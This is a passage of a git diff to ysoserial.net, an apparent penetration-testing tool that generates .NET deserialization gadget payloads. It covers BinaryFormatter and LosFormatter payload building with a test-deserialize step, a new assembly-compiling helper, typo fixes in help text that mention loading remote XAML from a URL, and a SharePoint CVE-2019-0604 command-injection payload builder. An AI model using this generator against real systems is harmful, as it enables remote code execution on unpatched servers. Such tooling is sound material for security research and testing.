AdvancedBinaryFormatterParser.JsonToStream(payload_bf_json); + + if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase)) + { + if (inputArgs.Test) + { + try + { + ms.Position = 0; + System.Runtime.Serialization.Formatters.Binary.BinaryFormatter bf = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); + bf.Deserialize(ms); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return ms.ToArray(); + } + else + { + // it is LosFormatter + byte[] lfSerializedObj = SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(ms.ToArray()); + + MemoryStream ms2 = new MemoryStream(lfSerializedObj); + ms2.Position = 0; + if (inputArgs.Test) + { + try + { + System.Web.UI.LosFormatter lf = new System.Web.UI.LosFormatter(); + lf.Deserialize(ms2); + } + catch (Exception err) + { + Debugging.ShowErrors(inputArgs, err); + } + } + return lfSerializedObj; + } + } + else + { + throw new Exception("Formatter not supported"); + } + } + } +} diff --git a/ysoserial/Generators/IGenerator.cs b/ysoserial/Generators/IGenerator.cs index 9798eb2..417eb37 100644 --- a/ysoserial/Generators/IGenerator.cs +++ b/ysoserial/Generators/IGenerator.cs @@ -33,7 +33,7 @@ public static class GadgetTypes public const string NotBridgeNotDerived = "Not bridge or derived", NotBridgeButDervied = "Not bridge but derived", // Bridge has dervied meaning in it too - BridgeAndDerived = "Bridge and dervied", + BridgeAndDerived = "Bridge and derived", Dummy = "It relies on other gadgets and is not a real gadget on its own (not bridged or derived either)", // We hide these in normal help as they are only valuable for research purposes - example is ResourceSet None = ""; } diff --git a/ysoserial/Generators/ObjectDataProviderGenerator.cs b/ysoserial/Generators/ObjectDataProviderGenerator.cs index 0b0e649..4c2d59b 100755 --- a/ysoserial/Generators/ObjectDataProviderGenerator.cs +++ b/ysoserial/Generators/ObjectDataProviderGenerator.cs @@ -40,7 +40,7 @@ public override OptionSet Options() OptionSet options = new OptionSet() { {"var|variant=", "Payload variant number where applicable. Choices: 1, 2, 3, ... based on formatter.", v => int.TryParse(v, out variant_number) }, - {"xamlurl=", "This is to create a very short paylaod when affected box can read the target XAML URL e.g. \"http://b8.ee/x\" (can be a file path on a shared drive or the local system). This is used by the 3rd XAML payload which is a ResourceDictionary with the Source parameter. Command parameter will be ignored. The shorter the better!", v => xaml_url = v }, + {"xamlurl=", "This is to create a very short payload when affected box can read the target XAML URL e.g. \"http://b8.ee/x\" (can be a file path on a shared drive or the local system). This is used by the 3rd XAML payload which is a ResourceDictionary with the Source parameter. Command parameter will be ignored. The shorter the better!", v => xaml_url = v }, }; return options; diff --git a/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs b/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs index 47e597e..2f3b9ca 100644 --- a/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs +++ b/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs @@ -68,7 +68,7 @@ public override OptionSet Options() { OptionSet options = new OptionSet() { - {"xamlurl=", "This is to create a very short paylaod when affected box can read the target XAML URL e.g. \"http://b8.ee/x\" (can be a file path on a shared drive or the local system). This is used by the 3rd XAML payload of ObjectDataProvider which is a ResourceDictionary with the Source parameter. Command parameter will be ignored. The shorter the better!", v => xaml_url = v }, + {"xamlurl=", "This is to create a very short payload when affected box can read the target XAML URL e.g. \"http://b8.ee/x\" (can be a file path on a shared drive or the local system). This is used by the 3rd XAML payload of ObjectDataProvider which is a ResourceDictionary with the Source parameter. Command parameter will be ignored. The shorter the better!", v => xaml_url = v }, {"hasRootDCS", "To include a root element with the DataContractSerializer payload.", v => hasRootDCS = v != null }, }; diff --git a/ysoserial/Helpers/LocalCodeCompiler.cs b/ysoserial/Helpers/LocalCodeCompiler.cs new file mode 100644 index 0000000..f2db7ab --- /dev/null +++ b/ysoserial/Helpers/LocalCodeCompiler.cs @@ -0,0 +1,62 @@ +using System; +using System.CodeDom.Compiler; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Controls.Primitives; + +namespace ysoserial.Helpers +{ + public static class LocalCodeCompiler + { + + public static byte[] CompileToAsmBytes(string fileChain) + { + return CompileToAsmBytes(fileChain, "", ""); + } + + public static byte[] CompileToAsmBytes(string fileChain, string compilerLanguage, string compilerOptions) + { + byte[] assemblyBytes = null; + try + { + if (string.IsNullOrEmpty(compilerOptions)) + { + compilerOptions = "-t:library -o+ -platform:anycpu"; + } + + if (string.IsNullOrEmpty(compilerLanguage)) + { + compilerLanguage = "CSharp"; + } + + string[] files = fileChain.Split(new[] { ';' }).Select(s => s.Trim()).ToArray(); + CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider(compilerLanguage); + CompilerParameters compilerParameters = new CompilerParameters(); + compilerParameters.CompilerOptions = compilerOptions; + compilerParameters.ReferencedAssemblies.AddRange(files.Skip(1).ToArray()); + CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromFile(compilerParameters, files[0]); + if (compilerResults.Errors.Count > 0) + { + foreach (CompilerError error in compilerResults.Errors) + { + Console.Error.WriteLine(error.ErrorText); + } + Environment.Exit(-1); + } + assemblyBytes = File.ReadAllBytes(compilerResults.PathToAssembly); + File.Delete(compilerResults.PathToAssembly); + } + catch(Exception e) + { + Console.Error.WriteLine(e.Message); + Environment.Exit(-1); + } + + return assemblyBytes; + } + } +} diff --git a/ysoserial/Plugins/SharePointPlugin.cs b/ysoserial/Plugins/SharePointPlugin.cs index 6ebb149..dd03571 100644 --- a/ysoserial/Plugins/SharePointPlugin.cs +++ b/ysoserial/Plugins/SharePointPlugin.cs @@ -312,14 +312,14 @@ public string CVE_2019_0604() if (hasArgs) { - cmdPart = $@"{splittedCMD[0]}{splittedCMD[1]}"; + cmdPart = $@"{splittedCMD[0]}{splittedCMD[1]}"; } else { - cmdPart = $@"{splittedCMD[0]}"; + cmdPart = $@"{splittedCMD[0]}"; } - payloadPart2 = @"Parse" + cmdPart + @"]]>"; + payloadPart2 = @"Parse" + cmdPart + @"]]>"; } //payloadPart2 = PayloadMinifier(payloadPart2); // we need to make it smaller as goes bigger after encoding diff --git a/ysoserial/Program.cs b/ysoserial/Program.cs index b1f1774..faec20b 100755 --- a/ysoserial/Program.cs +++ b/ysoserial/Program.cs @@ -53,7 +53,7 @@ class Program {"outputpath=", "The output file path. It will be ignored if empty.", v => outputpath = v }, {"minify", "Whether to minify the payloads where applicable. Default: false", v => minify = v != null }, {"ust|usesimpletype", "This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple (always `true` with `--minify` for binary formatters). Default: true", v => useSimpleType = v != null }, - {"raf|runallformatters", "Whether to run all the gadgets with the provided formatter (ignores gagdet name, output format, and the test flag arguments). This will search in formatters and also show the displayed payload length. Default: false", v => isSearchFormatterAndRunMode = v != null }, + {"raf|runallformatters", "Whether to run all the gadgets with the provided formatter (ignores gadget name, output format, and the test flag arguments). This will search in formatters and also show the displayed payload length. Default: false", v => isSearchFormatterAndRunMode = v != null }, {"sf|searchformatter=", "Search in all formatters to show relevant gadgets and their formatters (other parameters will be ignored).", v => searchFormatter = v}, {"debugmode", "Enable debugging to show exception errors and output length", v => isDebugMode = v != null}, {"h|help", "Shows this message and exit.", v => show_help = v != null }, @@ -304,9 +304,7 @@ static void Main(string[] args) else { // we do not need to run the payload when building the bridges unless it is the last one - InputArgs tempInputArgs = inputArgs.DeepCopy(); - tempInputArgs.Test = false; - raw = generator.GenerateWithInit(current_formatter_name, tempInputArgs); + raw = generator.GenerateWithNoTest(current_formatter_name, inputArgs); } diff --git a/ysoserial/ysoserial.csproj b/ysoserial/ysoserial.csproj index 1405ace..53c1aee 100755 --- a/ysoserial/ysoserial.csproj +++ b/ysoserial/ysoserial.csproj @@ -155,6 +155,9 @@ + + + @@ -167,6 +170,7 @@ +